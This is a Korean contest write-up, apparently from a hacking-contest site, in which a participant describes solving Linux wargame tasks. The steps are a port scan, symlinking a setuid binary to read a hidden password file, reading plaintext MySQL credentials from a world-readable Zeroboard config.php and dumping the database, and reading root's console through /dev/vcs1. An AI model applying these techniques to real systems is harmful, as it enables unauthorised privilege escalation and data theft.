::: 다음은 이번 제 1회 Hacking The Linux Contest에서 입상하신 linu 님의 공격 보고서입니다. :::

 

 

[nu@gelug linu]$ nmap 211.215.55.247

 

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )

Interesting ports on  (211.215.55.247):

(The 1537 ports scanned but not shown below are in state: closed)

Port       State       Service

23/tcp     open        telnet

80/tcp     open        http

111/tcp    open        sunrpc

3306/tcp   open        mysql

8888/tcp   open        sun-answerbook

 

 

위 명령으로 일단 포트를 검색하였다.

80번과 3306으로 웹상에서 php가 돌아가는 데 사용되거라 생각했다.

23번은 접속을 위한 것이라 생각했다. 그런데 8888번이 열려있었다.

보통 8888은 MP3스트리밍 서버로 사용되는 포트 번호인데 일단은 접속을 시도해보았다.

 

브라우저에서 http://211.215.55.247:8888 로 시도하니깐 아이디와 패스워드가 나왔다.

 

guest계정이었는데 들어가기 전에 23번 포트로 접속을 시도했지만 잘 되지 않았다.

그래서 그 포트를 막아버렸나 생각했지만 나중에 안 사실이지만 규칙을 확실히 정하지

않은 해커스쿨의 운영 때문에 발생한 문제였다. 아무튼 여러번의 시행착오 끝에 성공

을 하였다. 그렇지만 너무나 느렸다. 아마도 DoS 공격이었나 보다. 아니면 리소스가

너무나 많이 사용되기 때문일 수도.. 힌트를 보고 그 다음 작업을 시작했다.

바로 walwal 계정 그룹으로 된 파일을 검색해보는 것이었다.

 

 

[guest@localhost Gelug]$ find / -group walwal >result 2>/dev/null

[guest@localhost Gelug]$

[guest@localhost Gelug]$ tail result

/proc/32285/exe

/proc/32285/mounts

/var/lib/texmf/a

/var/spool/mail/BOGUS.walwal.5tn

/etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

/bin/SolveMe/HackTheNose.txt

/bin/SolveMe/walwal

/home/walwal

/home/guest/.?/aa/b

/server/Apache/htdocs/bbs/data/__zbSessionTMP/n.php

 

 

수 많은 파일이 나왔지만 그 권한 취득자의 활동에 관련된 파일로 간주하고 더 열심히

찾아본 결과 위와 같은 파일이 눈에 띄었다.

 

 

[guest@localhost Gelug]$ ll /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

-rw-r-----    2 root     walwal          7 Aug 17 12:17 /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

 

 

하나씩 ls -l 로 파일 권한을 보니깐 walwal 계정으로 보는 것이었다.

 

그런데 하나의 파일 /bin/SolveMe/walwal 에는 SetUid가 걸려있었다.

즉 이 파일로 walwal의 권한을 얻게 되는 것이라 생각을 했다.

 

그냥 한번 실행해보면 세그먼트 실패라고 나온다. 프로그램 내에서 정해준 것과 상황

이 달라지면 발생하는 에러인 것이다.

 

그래서 여러가지 추측을 해보았다.

 

 

[guest@localhost Gelug]$ strings /bin/SolveMe/walwal

 

 

로 포함되는 문자열을 찾아보았다. 끝에 ./HackTheNose.txt 가 있었다.

 

이 파일에 기록아니면 열기일 것이다. 파일에 대한 작업은 쓰기와 읽기 밖에 없기 때

문이다.

 

실행해보니 /bin/SolveMe/HackTheNose.txt 의 최근날짜와 시간은 갱신되지 않았다.

 

조금의 생각을 해보니 결국은 읽어들인다는 것을 알았다.

그것도 현재 폴더에서 말이다.

 

간단히 소프트 링크로 해결을 할 수 있을 거라 생각하고 시도해보았다.

 

 

[guest@localhost Gelug]$ ln -sf /bin/SolveMe/walwal walwal

[guest@localhost Gelug]$ ln -sf /bin/SolveMe/HackTheNose.txt HackTheNose.txt

[guest@localhost Gelug]$ ll

total 8

-rwxrwxr-x    1 guest    guest          15 Aug 18 06:42 bin*

lrwxrwxrwx    1 guest    guest          28 Aug 18 06:44 HackTheNose.txt -> /bin/SolveMe/HackTheNose.txt

-rw-rw-r--    1 guest    guest        3613 Aug 18 05:58 result

lrwxrwxrwx    1 guest    guest          19 Aug 18 06:43 walwal -> /bin/SolveMe/walwal*

[guest@localhost Gelug]$ ./walwal

구타 : 아씨~ 이게 뭐야 어떻게 하라는거야!

멍멍 : 생각보다 쉬울껄?

구타 : 뭐야뭐야 이거 힙오버플로우야? 나 그거 못해!

멍멍 : 머리 뒀다 뭐하니~

[guest@localhost Gelug]$

 

 

결국 위와 같이 실행을 해본 결과 예상대로 현재 위치에서 HackTheNose.txt 파일을 열

었다. 파일 내용은 위와 같았다.

 

또 하나의 의문의 파일 /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT 을

보고 싶었고 그게 답으로 생각이 되었다.

 

 

[guest@localhost Gelug]$ ln -sf /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT HackTheNose.txt

[guest@localhost Gelug]$ ./walwal

마징가

[guest@localhost Gelug]$

 

 

위에서 여는 파일은 HackTheNose.txt 이었다. 이름만 이거면 된다는 공식이 성립된 것

이다. 물론 파일 읽기 권한은 walwal이고 말이다.

위와 같이 파일 내용이 보여졌다. 저 한글이 암호구나 생각을 하고 다음과 같이 해보

았다.

 

 

[guest@localhost Gelug]$ su - walwal

Password: (암호입력)

[walwal@localhost walwal]$ id

uid=1000(walwal) gid=1000(walwal) groups=1000(walwal)

 

 

id라는 명령어로 현재 상태를 보니깐 역시나 walwal을 따게 되었다.

 

walwal에서 guta가 cron으로 어떤 프로그램을 실행한다는 것은 알았고 그것의 버그

즉, system 함수의 중간에 문자열이 들어간 다는 것을 알고 시도를 해보았지만.

안타깝게도 잘 되지 못했다. 결국 통과는 하지 못했다. 파일을 만들어도 적용이 되지

않았다.

 

다음은 mysql의 특정테이블을 보면 된다는 말에 PHP를 많이 해온터라 잘됐다 하고 시

도를 해보았다. 역시나 쉽게 알수가 있었다.

 

이것은 nobody의 권한(웹상에서)으로 액세스가 가능해야하므로 mysql에 연결하는 설정

파일은 항상 other에게 읽기권한이 읽을거라 생각하면 간단히 해결된다.

즉, 나한테도 읽기 권한이 있는 것이다.

 

 

[walwal@localhost php]$ more /server/Apache/htdocs/bbs/config.php

<?

localhost

guest

welcome

zboard

?>

 

 

제로보드 위치만 알면 그 디렉토리내에 있는 config.php 파일을 열면 간단히 해결되는

문제이다.

 

바로 mysql 접속에 시도해보았다.

 

 

[walwal@localhost php]$ /server/Mysql/bin/mysqldump -u guest -pwelcome zboard >aaaa

[walwal@localhost php]$ cat < aaaa

-- MySQL dump 8.22

--

-- Host: localhost    Database: zboard

---------------------------------------------------------

-- Server version       3.23.51

 

--

-- Table structure for table 'zetyx_admin_table'

--

 

CREATE TABLE zetyx_admin_table (

  no int(11) NOT NULL auto_increment,

  group_no int(20) unsigned NOT NULL default '0',

  name varchar(40) NOT NULL default '',

  total_article int(20) NOT NULL default '0',

  skinname varchar(255) default NULL,

  header text,

  footer text,

  title varchar(255) default NULL,

  header_url varchar(255) default NULL,

  footer_url varchar(255) default NULL,

  bg_image varchar(255) default NULL,

  bg_color varchar(255) default '#ffffff',

  table_width int(4) NOT NULL default '95',

  memo_num int(3) NOT NULL default '15',

  page_num int(3) NOT NULL default '8',

  only_board char(1) NOT NULL default '1',

  cut_length int(11) NOT NULL default '0',

  use_category char(1) NOT NULL default '0',

  use_html char(1) NOT NULL default '1',

  use_filter char(1) NOT NULL default '1',

  use_status char(1) NOT NULL default '1',

  max_upload_size int(11) default '2097152',

  use_pds char(1) default '0',

  pds_ext1 varchar(255) default '',

  pds_ext2 varchar(255) default '',

  use_homelink char(1) NOT NULL default '0',

  use_filelink char(1) NOT NULL default '0',

  use_cart char(1) NOT NULL default '0',

  use_autolink char(1) NOT NULL default '1',

  use_showip char(1) NOT NULL default '0',

  use_comment char(1) NOT NULL default '1',

  use_formmail char(1) NOT NULL default '1',

  use_showreply char(1) NOT NULL default '1',

  use_secret char(1) NOT NULL default '1',

  use_alllist char(1) NOT NULL default '0',

  grant_html int(2) NOT NULL default '2',

  grant_list int(2) NOT NULL default '10',

  grant_view int(2) NOT NULL default '10',

  grant_comment int(2) NOT NULL default '10',

  grant_write int(2) NOT NULL default '10',

  grant_reply int(2) NOT NULL default '10',

  grant_delete int(2) NOT NULL default '1',

  grant_notice int(2) NOT NULL default '1',

  grant_view_secret int(2) NOT NULL default '1',

  filter text,

  avoid_tag text,

  avoid_ip text,

  PRIMARY KEY  (no),

  KEY group_no (group_no),

  KEY total_article (total_article),

  KEY name (name)

) TYPE=MyISAM;

 

--

-- Dumping data for table 'zetyx_admin_table'

--

 

 

INSERT INTO zetyx_admin_table VALUES (3,1,'free',38,'nzeo_ver3','','','RS 굿...

굿...','','','','white',95,15,10,'1',0,'','1','1','',2097152,'1','','','','',''

INSERT INTO zetyx_admin_table VALUES (2,1,'guest',2,'nzeo_ver3',NULL,NULL,'RS 굿

... 굿...','','','','white',95,20,10,'',0,'','1','1','',2097152,'','','','','','

넘\r\n','a,img,embed,font,b,div,center,p,br\r\n','');

 

--

-- Table structure for table 'zetyx_board_category_free'

--

 

......... 이하 생략.............

 

 

아무 생각없이 nobody를 풀기 위한 작업이므로 간단히 되었다.

저러한 파일들을 nobody에 그룹을 주고 그룹에만 읽기 권한을 준다면 해결될 것을

귀찮고 만든 사람이 아니면 잘 모르게 되므로 그냥 두는 버그 인 것이다.

 

다음으로는 root의 스크린을 따는 것이었다.

일단 screendump 라는 명령을 써보기로 했다. 해보지는 않았지만 왠지 연관이 있을거

라는 막연한 생각에서 였다. /dev/vcs 관련 device를 열지 못한다는 메시지가 나왔다.

 

 

[guest@localhost ~]$ ll /dev/vcs*

crw--w----    1 vcsa     tty        7,   0 Apr 11 10:25 /dev/vcs

crw--w-r--    1 vcsa     tty        7,   1 Apr 11 10:25 /dev/vcs1

crw--w----    1 vcsa     tty        7,  10 Apr 11 10:25 /dev/vcs10

crw--w----    1 vcsa     tty        7,  11 Apr 11 10:25 /dev/vcs11

crw--w----    1 vcsa     tty        7,  12 Apr 11 10:25 /dev/vcs12

crw--w----    1 vcsa     tty        7,  13 Apr 11 10:25 /dev/vcs13

crw--w----    1 vcsa     tty        7,  14 Apr 11 10:25 /dev/vcs14

 

 

위와 같이 일단 리스트를 보았다. /dev/vcs1에 이상하게도 other에 r(읽기)권한이 있

어서 저게 답이구나 생각하고 뽑아보았다.

 

 

[guest@localhost ~]$ cat /dev/vcs1 > 4

 

[Eminem as 'Stan']

Dear Slim, I wrote but you still ain't callin

I left my cell, my pager, and my home phone at the bottom

I sent two letters back in autumn, you must not-a got 'em

There probably was a problem at the post office or somethin

Sometimes I scribble addresses too sloppy when I jot 'em

but anyways; fuck it, what's been up?  Man how's your daughter?

My girlfriend's pregnant too, I'm bout to be a father

If I have a daughter, guess what I'ma call her?

I'ma name her Bonnie

I read about your Uncle Ronnie too I'm sorry

I had a friend kill himself over some bitch who didn't want him

I know you probably hear this everyday, but I'm your biggest fan

I even got the underground shit that you did with Scam

I got a room full of your posters and your pictures man

I like the shit you did with Ruckus too, that shit was fat

Anyways, I hope you get this man, hit me back,

just to chat, truly yours, your biggest fan

This is Stan

 

localhost login:

 

 

[guest@localhost ~]$

 

 

위와 같이 간단히 덤프를 할 수가 있었다.

 

위 같이 몇개 밖에 못땄다. 딴 것도 아니다. 그냥 힌트대로 따라 한 것이다.

 

언제쯤 진정한 해커가 될지를 생각해보면 망막하기만 했다. 크래커가 아닌 컴퓨터를

연구하면서 일생을 살아가고 싶은데.. 아무튼 이번 해킹 대회. 처음으로 참가하는

대회이지만 재미 있었다.

 

 

 

** 입상자에게 한마디!! **

 

 

Ginz : 잘봤슴다.. .

 

 

이름 :   내용 :